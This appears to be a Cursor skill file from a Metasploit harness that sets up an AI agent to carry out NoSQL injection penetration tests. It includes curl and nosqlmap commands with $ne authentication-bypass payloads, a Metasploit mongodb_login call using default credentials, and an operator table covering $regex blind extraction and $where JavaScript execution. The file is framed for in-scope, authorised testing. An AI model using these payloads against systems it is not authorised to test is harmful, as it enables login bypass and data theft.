metasploit-cursor-harness: Skill for Cursor

NoSQL Injection Pentest

Prerequisites

• Target is in scope (scope/scope-master.txt, engagement ROE).
• Load web-app-pentest for overall web testing context.

Triggers

• MongoDB, CouchDB, Redis, or Elasticsearch backend identified
• JSON login/search bodies accepting operator syntax ($gt, $ne, $regex)
• URL-encoded params like username[$ne]=x&password[$ne]=x
• NoSQL-related error messages in responses
• Authentication bypass with unexpected empty or wildcard credentials

Workflow

Task Progress:
- [ ] Identify JSON or form parameters mapped to NoSQL queries
- [ ] Test authentication bypass with $ne, $gt, $regex, $expr operators
- [ ] Extract data via $regex blind injection or aggregation pipeline abuse
- [ ] If filtered, try duplicate key override and operator encoding
- [ ] Document with request/response evidence

Detection

Authentication bypass probes

CLI (primary for web vulns):

python3 nosqlmap.py -u "http://<target>/login" --postdata "username=admin&password=test"
curl -X POST "http://<target>/login" -H "Content-Type: application/json" \
  -d '{"username":{"$ne":null},"password":{"$ne":null}}'
curl -X POST "http://<target>/login" -d "username[\$ne]=x&password[\$ne]=x"

JSON: {"username":{"$ne":null},"password":{"$ne":null}} URL: username[$ne]=x&password[$ne]=x

MSF MCP:

msf_run_auxiliary_module(
  module_name="auxiliary/scanner/http/mongodb_login",
  engagement_id="<id>",
  options={"RHOSTS": "<target>", "RPORT": 27017, "USERNAME": "admin", "PASSWORD": "password", "DATABASE": "admin"}
)

Note: mongodb_login targets direct MongoDB port; for HTTP JSON injection use CLI primarily.

Exploitation by variant

Operator injection reference

Operator	Effect
$ne	Not equal (bypass auth)
$gt / $gte	Greater than (match any non-empty)
$regex	Pattern match (blind extraction)
$in	Match any in array
$expr	Aggregation expression in query
$where	JavaScript execution (MongoDB)